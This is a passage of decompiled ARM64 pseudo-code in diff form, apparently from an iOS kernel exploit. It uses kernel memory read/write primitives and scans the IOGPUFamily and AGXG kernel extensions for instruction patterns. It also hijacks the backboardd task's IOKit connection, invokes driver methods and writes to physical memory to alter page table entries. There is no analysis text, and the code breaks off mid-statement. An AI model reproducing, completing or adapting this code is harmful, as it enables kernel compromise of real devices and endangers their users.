(0000000000015CA4) ---------------------------------------------------- +__int64 sub_15CA4() +{ + sub_24D64("xyz"); + return 0LL; +} + +//----- (0000000000015CC8) ---------------------------------------------------- +void __fastcall sub_15CC8(__int64 a1) +{ + void *v1; // x19 + __int64 vars8; // [xsp+18h] [xbp+8h] + + v1 = *(void **)(a1 + 0x1D58); + if ( v1 ) + { + *(_QWORD *)(a1 + 0x1D58) = 0LL; + bzero(v1, 0x520uLL); + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + free(v1); + } +} +// 15D00: variable 'vars8' is possibly undefined + +//----- (0000000000015D1C) ---------------------------------------------------- +__int64 __fastcall sub_15D1C(__int64 a1, __int64 a2, int a3) +{ + __int64 v5; // x22 + __int64 v6; // x21 + __int64 v7; // x23 + int v8; // w0 + __int64 v9; // x25 + __int64 v10; // x8 + __int64 v11; // x21 + __int64 v12; // x22 + int v13; // w8 + int v14; // w26 + int v16; // [xsp+Ch] [xbp-74h] BYREF + _BYTE v17[4]; // [xsp+10h] [xbp-70h] BYREF + int v18; // [xsp+14h] [xbp-6Ch] BYREF + _QWORD v19[4]; // [xsp+18h] [xbp-68h] BYREF + __int64 v20; // [xsp+38h] [xbp-48h] + + v18 = a3; + v5 = *(_QWORD *)(a1 + 0x1D58); + v6 = *(_QWORD *)(a1 + 0x188); + if ( !(unsigned int)sub_251A4(a1, 8u, 0x3A98u) ) + { + if ( !v5 ) + { + v7 = sub_15EC4(a1); + if ( (_DWORD)v7 ) + goto LABEL_19; + v5 = *(_QWORD *)(a1 + 0x1D58); + } + if ( (unsigned int)kreadbuf_last_1(a1, a2, 4LL, (__int64)v17) ) + { + sub_2183C(a1, a2 & ~*(_QWORD *)(a1 + 0x188), (__int64)v19); + v7 = 0xFFFFFFFFLL; + if ( !v8 ) + goto LABEL_19; + v9 = v20 & 0xFFFFFFFFC000LL; + if ( (v20 & 0xFFFFFFFFC000LL) == 0 ) + goto LABEL_19; + v10 = v6 & a2; + v11 = *(_QWORD *)(v5 + 0x510); + v12 = *(_QWORD *)(v5 + 0x518) + v10; + v13 = 0x63; + while ( 1 ) + { + v14 = v13; + if ( !(unsigned int)kreadbuf_last_1(a1, v11, 8LL, (__int64)v19) ) + break; + v19[0] = v19[0] & 0xFFFF000000003FFFLL | v9; + v7 = 0x28010LL; + if ( !(unsigned int)kwritebuf_last_1(a1, v11, (__int64)v19, 8LL) ) + goto LABEL_19; + sub_2AABC(a1, 0x2710u); + if ( !(unsigned int)kwritebuf_last_1(a1, v12, (__int64)&v18, 4LL) ) + goto LABEL_19; + if ( !(unsigned int)kreadbuf_last_1(a1, a2, 4LL, (__int64)&v16) ) + break; + if ( v16 != v18 ) + { + v13 = v14 - 1; + if ( v14 ) + continue; + } + if ( v16 == v18 ) + v7 = 0LL; + else + v7 = 0xFFFFFFFFLL; + goto LABEL_19; + } + } + v7 = 0x2800FLL; +LABEL_19: + sub_25164(a1, 8u); + return v7; + } + return 0xAD022LL; +} +// 15DA8: variable 'v8' is possibly undefined + +//----- (0000000000015EC4) ---------------------------------------------------- +__int64 __fastcall sub_15EC4(__int64 a1) +{ + __int64 v1; // x23 + unsigned int *v3; // x0 + unsigned int *v4; // x20 + __int64 v5; // x8 + __int64 v6; // x1 + __int64 v7; // x26 + void *v8; // x0 + __int64 v9; // x21 + _OWORD *v10; // x22 + __int128 v11; // q0 + __int128 v12; // q1 + __int64 v13; // x8 + int v14; // w9 + int v15; // w10 + char *v16; // x0 + char *v17; // x0 + char *v18; // x23 + __int64 v19; // x25 + int v21; // w24 + char *v22; // x0 + char *v23; // x23 + char *v24; // x0 + char *v25; // x23 + __int64 v26; // x25 + int v27; // w27 + __int64 v28; // x23 + unsigned __int64 v29; // x0 + __int64 v30; // x0 + __int64 v31; // x25 + __int64 v32; // x0 + __int64 v33; // x0 + __int64 v34; // x21 + int v35; // w27 + int v36; // w8 + __int64 v37; // x0 + __int64 v38; // x22 + _BOOL4 has_flag; // w0 + __int64 v40; // x1 + unsigned __int64 v41; // x22 + __int64 v42; // x21 + _BOOL4 v43; // w0 + unsigned __int64 v44; // x8 + unsigned __int64 v45; // x21 + unsigned __int64 v46; // x0 + __int64 v47; // x24 + __int64 *v48; // x8 + __int64 v49; // t1 + __int64 v50; // x9 + __int64 v51; // x10 + __int64 v52; // x22 + vm_size_t v53; // x21 + vm_size_t v54; // x25 + kern_return_t v55; // w0 + __int64 v56; // x23 + __int64 v57; // x27 + __int64 v58; // x0 + vm_size_t v59; // x2 + __int64 v60; // x8 + __int64 v61; // x22 + __int64 v62; // x10 + __int64 v63; // x11 + __int64 v64; // x1 + __int64 v65; // x10 + unsigned __int8 *v66; // x9 + unsigned __int8 *v67; // x10 + unsigned int v68; // t1 + unsigned int v69; // t1 + unsigned __int64 v70; // x0 + unsigned __int64 v71; // x0 + char *v72; // x0 + char *v73; // x0 + unsigned int v74; // w8 + unsigned __int64 v75; // x9 + __int64 v76; // x11 + char v77; // w9 + _QWORD *v78; // x8 + __int64 v79; // x9 + char *v80; // x21 + unsigned __int64 v81; // x22 + __int64 v82; // x9 + mach_port_t v83; // w21 + uint64_t v84; // x8 + mach_port_t v85; // w0 + mach_port_t v86; // w0 + int v87; // w0 + __int64 v88; // x21 + int v89; // w0 + __int64 v90; // x22 + __int64 v91; // x28 + __int64 v92; // x23 + char *v93; // x0 + int v94; // t1 + char *v95; // x0 + char *v96; // x23 + __int64 v97; // x25 + void *v98; // x0 + void *v99; // x25 + _BOOL4 v100; // w0 + unsigned __int64 v101; // x21 + unsigned __int64 v102; // x28 + unsigned __int64 v103; // x22 + unsigned __int64 v104; // x0 + size_t v105; // x23 + unsigned __int64 v106; // x8 + unsigned __int64 v107; // x21 + char *v108; // x0 + char *v109; // x0 + __int64 v110; // x0 + char *v111; // x0 + char *v112; // x0 + char *v113; // x23 + __int64 v114; // x24 + __int64 v115; // x9 + int v116; // w11 + __int64 v117; // x9 + unsigned __int64 v118; // x21 + _QWORD *v119; // x23 + char *v120; // x0 + __int64 v121; // x8 + __int64 v122; // x10 + char *v123; // x25 + char *v124; // x0 + unsigned int v125; // t1 + unsigned __int64 v126; // x11 + unsigned __int64 v127; // x12 + unsigned __int64 v128; // x9 + unsigned __int64 v129; // x22 + char *v130; // x0 + _QWORD *v131; // x10 + char *v132; // x9 + __int64 v133; // x8 + char *v134; // x10 + int v135; // t1 + unsigned __int64 v136; // x0 + char *v137; // x0 + char *v138; // x8 + char *v139; // x0 + unsigned __int64 v140; // x10 + __int64 v141; // x8 + __int64 v142; // x21 + __int64 v143; // x23 + __int64 v144; // x9 + char *v145; // x8 + __int64 v146; // x10 + unsigned int v147; // w12 + char *v148; // x0 + unsigned int v149; // t1 + unsigned __int64 v150; // x11 + unsigned __int64 v151; // x10 + char *v152; // x0 + __int64 v153; // x21 + char *v154; // x0 + char *v155; // x0 + char *v156; // x0 + char *v157; // x0 + char *v158; // x22 + unsigned __int64 *v159; // x25 + unsigned __int64 v160; // x9 + unsigned __int64 v161; // x9 + unsigned __int64 v162; // x1 + char *v163; // x8 + char *v164; // x0 + __int64 v165; // x8 + __int64 v166; // x21 + __int64 v167; // x22 + char *v168; // x0 + char *v169; // x0 + unsigned int v170; // t1 + unsigned __int64 v171; // x9 + unsigned __int64 v172; // x10 + unsigned __int64 v173; // x8 + __int64 v174; // x8 + _BOOL4 v175; // w0 + unsigned __int64 v176; // x8 + int32x2_t v177; // d0 + int64x2_t v178; // off + _QWORD *v179; // x28 + __int64 v180; // x0 + __int64 v181; // x21 + __int64 v182; // x25 + int v183; // w0 + vm_address_t v184; // x27 + __int64 v185; // x0 + __int64 v186; // x22 + int v187; // w0 + vm_address_t v188; // x23 + int v189; // w0 + int v190; // w0 + int v191; // w0 + int v192; // w0 + _BOOL4 v193; // w0 + unsigned __int64 v194; // x8 + __int64 v195; // x0 + int v196; // w26 + int v197; // w0 + int v198; // w0 + uint64_t v199; // x9 + __int64 v200; // x8 + vm_address_t v201; // x9 + __int64 v202; // x27 + __int64 v203; // x26 + unsigned __int64 v204; // x21 + _QWORD *v205; // x28 + __int64 v206; // x1 + __int64 v207; // x25 + unsigned __int64 v208; // x0 + unsigned __int64 v209; // x0 + unsigned __int64 v210; // x22 + int v211; // w0 + __int64 v212; // x23 + int v213; // w0 + __int64 i; // x23 + __int64 v215; // x28 + __int64 v216; // x0 + __int64 v217; // x22 + __int64 v218; // x23 + int v219; // w0 + bool v220; // zf + __int64 v221; // x25 + __int64 v222; // x9 + __int64 v223; // x9 + __int64 v224; // x9 + unsigned __int64 v225; // x25 + unsigned __int64 v226; // x10 + vm_address_t v227; // x8 + int64x2_t v228; // q0 + __int64 v229; // x21 + __int64 *v230; // x22 + __int64 v231; // t1 + _BOOL4 v232; // w0 + __int64 v233; // x22 + _QWORD *v234; // x27 + __int64 v235; // x28 + __int64 v236; // x21 + __int64 v237; // x26 + int v238; // w25 + vm_address_t v239; // x11 + char *v240; // x12 + char *v241; // x23 + unsigned __int64 v242; // x8 + unsigned __int64 v243; // x9 + __int64 v244; // x10 + __int64 v245; // x13 + char *v246; // x12 + __int64 v247; // x12 + __int64 v248; // x12 + _QWORD *v249; // x11 + __int64 v250; // x11 + __int64 v251; // x25 + __int64 v252; // x9 + char *v253; // x10 + char *v254; // x23 + unsigned __int64 v255; // x21 + __int64 v256; // x8 + char *v257; // x10 + __int64 v258; // x10 + __int64 v259; // x10 + __int64 v260; // x10 + _QWORD *v261; // x9 + __int64 v262; // x9 + __int64 v263; // x9 + __int64 v264; // x9 + __int64 v265; // x9 + __int64 v266; // x26 + _QWORD *v267; // x9 + unsigned __int64 v268; // x21 + _QWORD *v269; // x12 + __int64 v270; // x10 + __int64 v271; // x10 + __int64 v272; // x10 + __int64 v273; // x10 + __int64 v274; // x10 + __int64 v275; // x10 + __int64 v276; // x10 + __int64 v277; // x10 + __int64 v278; // x10 + unsigned __int64 v279; // x21 + char v280; // w21 + __int64 v281; // x22 + __int64 v282; // x0 + __int64 v283; // x21 + int v284; // [xsp+20h] [xbp-6F0h] + vm_address_t v285; // [xsp+28h] [xbp-6E8h] + unsigned __int64 v286; // [xsp+30h] [xbp-6E0h] + vm_address_t v287; // [xsp+40h] [xbp-6D0h] + vm_address_t v288; // [xsp+48h] [xbp-6C8h] + __int64 v289; // [xsp+48h] [xbp-6C8h] + unsigned __int64 v290; // [xsp+50h] [xbp-6C0h] + __int64 v291; // [xsp+50h] [xbp-6C0h] + unsigned __int64 v292; // [xsp+50h] [xbp-6C0h] + int v293[2]; // [xsp+50h] [xbp-6C0h] + _QWORD *v294; // [xsp+50h] [xbp-6C0h] + int v295[2]; // [xsp+58h] [xbp-6B8h] + __int64 v296; // [xsp+58h] [xbp-6B8h] + int v297[2]; // [xsp+58h] [xbp-6B8h] + unsigned __int64 v298; // [xsp+58h] [xbp-6B8h] + int v299[2]; // [xsp+58h] [xbp-6B8h] + __int64 v300; // [xsp+60h] [xbp-6B0h] + __int64 v301; // [xsp+60h] [xbp-6B0h] + __int64 *v302; // [xsp+60h] [xbp-6B0h] + __int64 v303; // [xsp+60h] [xbp-6B0h] + __int64 v304; // [xsp+70h] [xbp-6A0h] BYREF + __int64 v305; // [xsp+78h] [xbp-698h] BYREF + __int64 v306; // [xsp+80h] [xbp-690h] BYREF + __int64 v307; // [xsp+88h] [xbp-688h] BYREF + __int64 v308; // [xsp+90h] [xbp-680h] BYREF + __int64 v309; // [xsp+98h] [xbp-678h] BYREF + __int64 v310; // [xsp+A0h] [xbp-670h] BYREF + __int64 v311; // [xsp+A8h] [xbp-668h] BYREF + size_t v312; // [xsp+B0h] [xbp-660h] BYREF + size_t v313; // [xsp+B8h] [xbp-658h] BYREF + vm_address_t target_address[3]; // [xsp+C0h] [xbp-650h] BYREF + size_t outputStructCnt; // [xsp+D8h] [xbp-638h] BYREF + _BYTE v316[24]; // [xsp+E0h] [xbp-630h] BYREF + __int64 v317; // [xsp+F8h] [xbp-618h] + _BYTE v318[12]; // [xsp+100h] [xbp-610h] BYREF + unsigned int v319; // [xsp+10Ch] [xbp-604h] + uint64_t size[2]; // [xsp+110h] [xbp-600h] BYREF + uint64_t input[2]; // [xsp+120h] [xbp-5F0h] BYREF + __int64 outputStruct; // [xsp+130h] [xbp-5E0h] BYREF + unsigned int v323; // [xsp+138h] [xbp-5D8h] + vm_address_t address[2]; // [xsp+140h] [xbp-5D0h] BYREF + _BYTE inputStruct[24]; // [xsp+150h] [xbp-5C0h] BYREF + __int128 v326; // [xsp+168h] [xbp-5A8h] + __int128 v327; // [xsp+178h] [xbp-598h] + __int128 v328; // [xsp+188h] [xbp-588h] + __int128 v329; // [xsp+198h] [xbp-578h] + __int128 v330; // [xsp+1A8h] [xbp-568h] + __int128 v331; // [xsp+1B8h] [xbp-558h] + __int128 v332; // [xsp+1C8h] [xbp-548h] + __int128 v333; // [xsp+1D8h] [xbp-538h] + __int128 v334; // [xsp+1E8h] [xbp-528h] + __int128 v335; // [xsp+1F8h] [xbp-518h] + __int128 v336; // [xsp+208h] [xbp-508h] + __int128 v337; // [xsp+218h] [xbp-4F8h] + __int128 v338; // [xsp+228h] [xbp-4E8h] + _BYTE v339[32]; // [xsp+238h] [xbp-4D8h] + __int64 v340; // [xsp+258h] [xbp-4B8h] + __int64 v341; // [xsp+260h] [xbp-4B0h] + vm_address_t src_address[36]; // [xsp+560h] [xbp-1B0h] BYREF + __int128 v343; // [xsp+680h] [xbp-90h] BYREF + _QWORD v344[2]; // [xsp+690h] [xbp-80h] + __int64 v345; // [xsp+6A0h] [xbp-70h] + + v1 = 0xAD008LL; + if ( *(_QWORD *)(a1 + 0x158) < 0x225C23801AF00DuLL || !krw_ctx_has_flag((_DWORD *)a1, 0x5184000) ) + return v1; + if ( *(_QWORD *)(a1 + 0x1D58) ) + return 0LL; + v3 = (unsigned int *)calloc(1uLL, 0x520uLL); + if ( !v3 ) + return 0xAD009LL; + v4 = v3; + *(_QWORD *)(a1 + 0x1D58) = v3; + v5 = *(_QWORD *)(a1 + 0x118); + if ( v5 ) + { + if ( *(_QWORD *)(a1 + 0x120) ) + { + v6 = *(_QWORD *)(v5 + 0x160); + if ( v6 ) + { + if ( (unsigned int)kreadbuf_last_1(a1, v6, 0x228LL, (__int64)(v3 + 0xBE)) ) + return 0LL; + } + } + } + v7 = 0x2801BLL; + target_address[0] = 0LL; + if ( !(unsigned int)get_kext_base_addr(a1, "com.apple.iokit.IOGPUFamily", address) + || !(unsigned int)sub_248A4(a1, "com.apple.AGXG", 0xEuLL, target_address) ) + { + goto LABEL_26; + } + v8 = calloc(1uLL, 0x128uLL); + if ( !v8 ) + { + v7 = 0xAD009LL; + goto LABEL_26; + } + v9 = (__int64)v8; + v10 = calloc(1uLL, 0x128uLL); + if ( v10 ) + { + sub_19DD4(v9, a1); + sub_19DD4((__int64)v10, a1); + v11 = *(_OWORD *)(a1 + 0x140); + v12 = *(_OWORD *)(a1 + 0x150); + *(_OWORD *)(v9 + 0x70) = v11; + *(_OWORD *)(v9 + 0x80) = v12; + v13 = *(_QWORD *)(a1 + 0x160); + *(_QWORD *)(v9 + 0x90) = v13; + v14 = *(_DWORD *)(a1 + 0x178); + *(_DWORD *)(v9 + 0x98) = v14; + v15 = *(_DWORD *)(a1 + 0x180); + *(_DWORD *)(v9 + 0x38) = v15; + v10[7] = v11; + v10[8] = v12; + *((_QWORD *)v10 + 0x12) = v13; + *((_DWORD *)v10 + 0x26) = v14; + *((_DWORD *)v10 + 0xE) = v15; + v1 = 0x28017LL; + if ( sub_1A0D4(v9, *(_DWORD *)(a1 + 0x1918), address[0], 0) + && sub_1A0D4((__int64)v10, *(_DWORD *)(a1 + 0x1918), target_address[0], 0) ) + { + v343 = xmmword_42FA0; + *(_OWORD *)v316 = xmmword_42FB0; + sub_19D10(v9, inputStruct); + v16 = sub_1E2BC((__int64 *)inputStruct, &v343, v316, 4uLL); + if ( v16 ) + { + if ( (unsigned int)kreadbuf_last_1(a1, (__int64)(v16 + 8), 4LL, (__int64)src_address) ) + { + v4[0x2A] = ((LODWORD(src_address[0]) >> 0xA) & 0xFFF) << (LODWORD(src_address[0]) >> 0x1E); + LODWORD(src_address[0]) = 0xF2F5F020; + LODWORD(v343) = 0xFFFFFFE0; + sub_19D10(v9, inputStruct); + v17 = sub_1E2BC((__int64 *)inputStruct, src_address, &v343, 1uLL); + if ( v17 ) + { + v18 = v17; + v19 = 0LL; + while ( (unsigned int)kreadbuf_last_1(a1, (__int64)&v18[v19], 4LL, (__int64)v316) ) + { + if ( (*(_DWORD *)v316 & 0xFFC0001F) == 0xF900001F ) + { + v4[0x2B] = ((*(_DWORD *)v316 >> 0xA) & 0xFFF) << (*(_DWORD *)v316 >> 0x1E); + v343 = xmmword_42FC0; + LODWORD(v344[0]) = 0x34000000; + *(_OWORD *)v316 = xmmword_42FD0; + *(_DWORD *)&v316[0x10] = 0xFF000000; + sub_19D10((__int64)v10, inputStruct); + v22 = sub_1E2BC((__int64 *)inputStruct, &v343, v316, 5uLL); + if ( v22 ) + { + v23 = v22; + if ( (unsigned int)kreadbuf_last_1(a1, (__int64)v22, 4LL, (__int64)src_address) ) + { + v4[0x2E] = ((LODWORD(src_address[0]) >> 0xA) & 0xFFF) << (LODWORD(src_address[0]) >> 0x1E); + if ( (unsigned int)kreadbuf_last_1(a1, (__int64)(v23 + 8), 4LL, (__int64)src_address) ) + { + v4[0x2C] = ((LODWORD(src_address[0]) >> 0xA) & 0xFFF) << (LODWORD(src_address[0]) >> 0x1E); + if ( (unsigned int)kreadbuf_last_1(a1, (__int64)(v23 + 0xC), 4LL, (__int64)src_address) ) + { + v4[0x2D] = ((LODWORD(src_address[0]) >> 0xA) & 0xFFF) << (LODWORD(src_address[0]) >> 0x1E); + *(_OWORD *)inputStruct = xmmword_42FE0; + *(_QWORD *)&inputStruct[0x10] = 0x8B00000052800008LL; + v343 = xmmword_42FF0; + v344[0] = 0xFFE0FC00FFE0001FLL; + sub_19D10((__int64)v10, src_address); + v24 = sub_1E2BC((__int64 *)src_address, inputStruct, &v343, 6uLL); + if ( v24 ) + { + v25 = v24; + if ( (unsigned int)kreadbuf_last_1(a1, (__int64)v24, 4LL, (__int64)v316) ) + { + v26 = 0LL; + v27 = 0; + v4[0x31] = (unsigned __int16)(*(_DWORD *)v316 >> 5); + while ( (unsigned int)kreadbuf_last_1(a1, (__int64)&v25[v26 + 4], 4LL, (__int64)v316) ) + { + if ( (*(_DWORD *)v316 & 0xFFE0001F) == 0x52800008 ) + { + if ( v27 == 1 ) + { + if ( (unsigned int)kreadbuf_last_1(a1, (__int64)&v25[v26 + 4], 4LL, (__int64)v316) ) + { + v91 = 0LL; + v4[0x2F] = (unsigned __int16)(*(_DWORD *)v316 >> 5); + while ( (unsigned int)kreadbuf_last_1( + a1, + (__int64)&v25[v26 + 4 + v91], + 4LL, + (__int64)v316) ) + { + if ( *(_DWORD *)v316 == 0xF2E63531 ) + { + if ( (unsigned int)kreadbuf_last_1( + a1, + (__int64)&v25[v26 + 0xC + v91], + 4LL, + (__int64)v316) ) + { + v4[0x30] = ((*(_DWORD *)v316 >> 0xA) & 0xFFF) << (*(_DWORD *)v316 >> 0x1E); + *(_OWORD *)inputStruct = xmmword_43000; + *(_QWORD *)&inputStruct[0x10] = 0LL; + LODWORD(v326) = 0x14000000; + *(_OWORD *)src_address = xmmword_43010; + src_address[2] = 0LL; + LODWORD(src_address[3]) = 0xFC000000; + sub_19D10(v9, &v343); + v95 = sub_1E2BC((__int64 *)&v343, inputStruct, src_address, 7uLL); + if ( v95 ) + { + v96 = v95; + v97 = 0LL; + while ( (unsigned int)kreadbuf_last_1( + a1, + (__int64)&v96[v97], + 4LL, + (__int64)v316) ) + { + if ( *(_DWORD *)v316 >> 0x1A == 0x25 ) + { + if ( (unsigned int)kreadbuf_last_1( + a1, + (__int64)&v96[v97 - 8], + 4LL, + (__int64)v316) ) + { + v4[0x32] = ((*(_DWORD *)v316 >> 0xA) & 0xFFF) << (*(_DWORD *)v316 >> 0x1E); + v343 = xmmword_43020; + LODWORD(v344[0]) = 0xF9000000; + *(_OWORD *)v316 = xmmword_43030; + *(_DWORD *)&v316[0x10] = 0xFFC0001F; + sub_19D10(v9, inputStruct); + v108 = sub_1E2BC((__int64 *)inputStruct, &v343, v316, 5uLL); + if ( v108 ) + { + if ( (unsigned int)kreadbuf_last_1( + a1, + (__int64)v108, + 4LL, + (__int64)src_address) ) + { + v4[0x33] = ((LODWORD(src_address[0]) >> 0xA) & 0xFFF) << (LODWORD(src_address[0]) >> 0x1E); + *(_QWORD *)&v343 = 0x2900000011000000LL; + *(_QWORD *)v316 = 0x3F0000003FLL; + sub_19D10(v9, inputStruct); + v109 = sub_1E2BC((__int64 *)inputStruct, &v343, v316, 2uLL); + if ( v109 ) + { + if ( (unsigned int)kreadbuf_last_1( + a1, + (__int64)(v109 + 0xC), + 4LL, + (__int64)src_address) ) + { + v4[0x34] = ((LODWORD(src_address[0]) >> 0xA) & 0xFFF) << (LODWORD(src_address[0]) >> 0x1E); + v110 = *(_QWORD *)(a1 + 0x19F8); + *(_QWORD *)&v343 = 0x8B020108F9400008LL; + *(_QWORD *)v316 = 0xFFFFFFFFFFC003FFLL; + sub_19D10(v110, inputStruct); + v111 = sub_1E2BC((__int64 *)inputStruct, &v343, v316, 2uLL); + if ( v111 ) + { + if ( (unsigned int)kreadbuf_last_1( + a1, + (__int64)v111, + 4LL, + (__int64)src_address) ) + { + v4[0x35] = ((LODWORD(src_address[0]) >> 0xA) & 0xFFF) << (LODWORD(src_address[0]) >> 0x1E); + v343 = xmmword_43040; + *(_QWORD *)v316 = 0xFFFFFFFFFFFFFFFFLL; + *(_QWORD *)&v316[8] = 0xFFFFFFFFFFFFFFFFLL; + sub_19D10((__int64)v10, inputStruct); + v112 = sub_1E2BC( + (__int64 *)inputStruct, + &v343, + v316, + 4uLL); + if ( v112 ) + { + v113 = v112; + v114 = 0LL; + while ( (unsigned int)kreadbuf_last_1( + a1, + (__int64)&v113[v114], + 4LL, + (__int64)src_address) ) + { + if ( (src_address[0] & 0x1F000000) == 0x10000000 ) + { + v136 = sub_1E854( + (__int64 *)v10, + (__int64 *)&v113[v114]); + v1 = 0LL; + *((_QWORD *)v4 + 0x1B) = v136; + v21 = 1; + goto LABEL_44; + } + v114 -= 4LL; + if ( (_DWORD)v114 == 0xFFFFFF8C ) + goto LABEL_43; + } + } + } + } + } + } + } + } + } + goto LABEL_43; + } + v97 += 4LL; + if ( (_DWORD)v97 == 0x114 ) + goto LABEL_43; + } + } + } + goto LABEL_43; + } + v91 += 4LL; + if ( (_DWORD)v91 == 0xC4 ) + goto LABEL_43; + } + } + goto LABEL_43; + } + v27 = 1; + } + v26 += 4LL; + if ( (_DWORD)v26 == 0xC4 ) + goto LABEL_43; + } + } + } + } + } + } + } + break; + } + v19 += 4LL; + if ( (_DWORD)v19 == 0x4C ) + break; + } + } + } + } +LABEL_43: + v21 = 0; + v1 = 0x2801BLL; + } + else + { + v21 = 0; + } + } + else + { + v21 = 0; + v1 = 0xAD009LL; + } +LABEL_44: + sub_1A520(v9); + free((void *)v9); + if ( v10 ) + { + sub_1A520((__int64)v10); + free(v10); + } + if ( !v21 ) + goto LABEL_27; + v28 = *(_QWORD *)(a1 + 0x1D58); + outputStructCnt = 0x10LL; + v312 = 0x10LL; + v313 = 0x10LL; + v29 = sub_32D24(a1); + if ( v29 ) + { + v30 = krw_task_for_name(a1, v29, "backboardd"); + if ( v30 ) + { + v31 = *(_QWORD *)(a1 + 0x1D58); + v32 = sub_32D80(a1, v30); + if ( v32 ) + { + v33 = sub_336B8(a1, v32, v316, address); + if ( v33 ) + { + if ( *(_DWORD *)v316 ) + { + v34 = v33; + v35 = 0; + while ( (unsigned int)kread64(a1, v34 + (unsigned int)(LODWORD(address[0]) * v35), inputStruct) ) + { + if ( *(_QWORD *)inputStruct ) + { + if ( !kread32_outptr(a1, *(unsigned __int64 *)inputStruct, target_address) ) + break; + if ( (target_address[0] & 0x80000000) != 0 ) + { + v36 = target_address[0] & 0x3FF; + if ( (target_address[0] & 0x3FF) != 0 ) + { + LODWORD(target_address[0]) = target_address[0] & 0x3FF; + if ( v36 == 0x1D ) + { + v37 = sub_328A4(a1, *(unsigned __int64 *)inputStruct); + if ( !v37 ) + break; + v38 = v37; + if ( !(unsigned int)kread64(a1, v37, src_address) ) + break; + if ( src_address[0] == *(_QWORD *)(v31 + 0xD8) + 0x10LL ) + { + if ( (unsigned int)sub_36480(a1, *(unsigned __int64 *)inputStruct, (mach_port_name_t *)&v343) ) + break; + v83 = v343; + *(_QWORD *)(v31 + 0xE0) = v38; + v4[2] = v83; + if ( v83 ) + { + bzero(inputStruct, 0x408uLL); + if ( !IOConnectCallStructMethod(v83, 7u, inputStruct, 0x408uLL, address, &outputStructCnt) ) + { + v4[3] = address[0]; + *((_BYTE *)v4 + 0x10) = 1; + *(_OWORD *)target_address = xmmword_43050; + if ( !IOConnectCallMethod( + v4[2], + 0xFu, + target_address, + 2u, + 0LL, + 0LL, + 0LL, + 0LL, + &outputStruct, + &v313) ) + { + v84 = v323; + v4[5] = v323; + *((_BYTE *)v4 + 0x18) = 1; + v85 = v4[2]; + input[0] = v4[3]; + input[1] = v84; + if ( !IOConnectCallScalarMethod(v85, 0x19u, input, 2u, 0LL, 0LL) ) + { + size[0] = *(unsigned int *)(a1 + 0x180); + size[1] = 0LL; + if ( !IOConnectCallMethod(v4[2], 0xDu, size, 2u, 0LL, 0LL, 0LL, 0LL, v318, &v312) ) + { + v4[7] = v319; + *((_BYTE *)v4 + 0x24) = 1; + size[0] = *(unsigned int *)(a1 + 0x180); + if ( !IOConnectCallMethod(v4[2], 0xDu, size, 2u, 0LL, 0LL, 0LL, 0LL, v318, &v312) ) + { + v4[8] = v319; + *((_BYTE *)v4 + 0x25) = 1; + if ( (unsigned int)kread64( + a1, + *(_QWORD *)(v28 + 0xE0) + *(unsigned int *)(v28 + 0xA8), + v28 + 0xE8) ) + { + if ( (unsigned int)kread64( + a1, + *(_QWORD *)(v28 + 0xE8) + *(unsigned int *)(v28 + 0xB0), + v28 + 0xF0) ) + { + v86 = v4[2]; + *(_QWORD *)v316 = v4[3]; + v317 = 0x38LL; + *(_OWORD *)&v316[8] = xmmword_43750; + memset(&src_address[1], 0, 0x30); + LODWORD(src_address[0]) = v4[7]; + HIDWORD(src_address[0]) = src_address[0]; + if ( !IOConnectCallMethod( + v86, + 0x1Au, + (const uint64_t *)v316, + 4u, + src_address, + 0x38uLL, + 0LL, + 0LL, + 0LL, + 0LL) ) + { + HIDWORD(src_address[0]) = v4[8]; + if ( !IOConnectCallMethod( + v4[2], + 0x1Au, + (const uint64_t *)v316, + 4u, + src_address, + 0x38uLL, + 0LL, + 0LL, + 0LL, + 0LL) ) + { + if ( (unsigned int)kread64( + a1, + *(_QWORD *)(v28 + 0xE8) + *(unsigned int *)(v28 + 0xC8), + &v311) ) + { + if ( (unsigned int)kread64( + a1, + v311 + *(unsigned int *)(v28 + 0xCC), + &v310) ) + { + if ( (unsigned int)kread64(a1, v310 + 8 * v4[7], &v309) ) + { + if ( (unsigned int)kread64(a1, v310 + 8 * v4[8], &v308) ) + { + if ( (unsigned int)kread64( + a1, + v309 + *(unsigned int *)(v28 + 0xD0), + &v307) ) + { + if ( (unsigned int)kread64( + a1, + v308 + *(unsigned int *)(v28 + 0xD0), + &v306) ) + { + if ( (unsigned int)kread64( + a1, + v307 + *(unsigned int *)(v28 + 0xD4), + &v305) ) + { + if ( (unsigned int)kread64( + a1, + v306 + *(unsigned int *)(v28 + 0xD4), + &v304) ) + { + sub_2183C( + a1, + v305 & ~*(_QWORD *)(a1 + 0x188), + (__int64)&v343); + if ( v87 ) + { + v88 = v345 & 0xFFFFFFFFC000LL; + if ( (v345 & 0xFFFFFFFFC000LL) != 0 ) + { + sub_2183C( + a1, + v304 & ~*(_QWORD *)(a1 + 0x188), + (__int64)&v343); + if ( v89 ) + { + v90 = v345 & 0xFFFFFFFFC000LL; + if ( (v345 & 0xFFFFFFFFC000LL) != 0 + && !(unsigned int)physwrite_maybe(a1, v88, v4 + 0xA) ) + { + *((_QWORD *)v4 + 0x13) = *((_QWORD *)v4 + 5); + if ( !(unsigned int)physwrite_maybe( + a1, + v90, + v4 + 0x18) ) + { + *((_QWORD *)v4 + 0x14) = *((_QWORD *)v4 + 0xC); + goto LABEL_67; + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + goto LABEL_66; + } + } + } + } + } + if ( (unsigned int)++v35 >= *(_DWORD *)v316 ) + break; + } + } + } + } + } + } + v4[2] = 0; +LABEL_66: + *(_BYTE *)v28 = 1; +LABEL_67: + has_flag = krw_ctx_has_flag((_DWORD *)a1, 0x4000000); + if ( has_flag ) + v40 = 0x292050000LL; + else + v40 = 0x206050000LL; + if ( has_flag ) + v41 = 0xFFFFFC0000000000LL; + else + v41 = 0xFFFFFF8000000000LL; + v1 = physwrite_maybe(a1, v40, inputStruct); + if ( (_DWORD)v1 ) + goto LABEL_27; + v42 = **(_QWORD **)inputStruct; + v43 = krw_ctx_has_flag((_DWORD *)a1, 0x5000000); + v44 = 0xFFFFFFFFFFFFFFFELL; + if ( !v43 ) + v44 = 0xFFFFFFFFELL; + v45 = v44 & v42; + sub_38BCC(a1); + *((_QWORD *)v4 + 0x21) = v45; + v46 = sub_18B14(); + *((_QWORD *)v4 + 0x1F) = v46; + v47 = 0x2800FLL; + if ( !v46 ) + goto LABEL_370; + v1 = physwrite_maybe(a1, *((_QWORD *)v4 + 0x21), inputStruct); + if ( (_DWORD)v1 ) + goto LABEL_27; + v48 = *(__int64 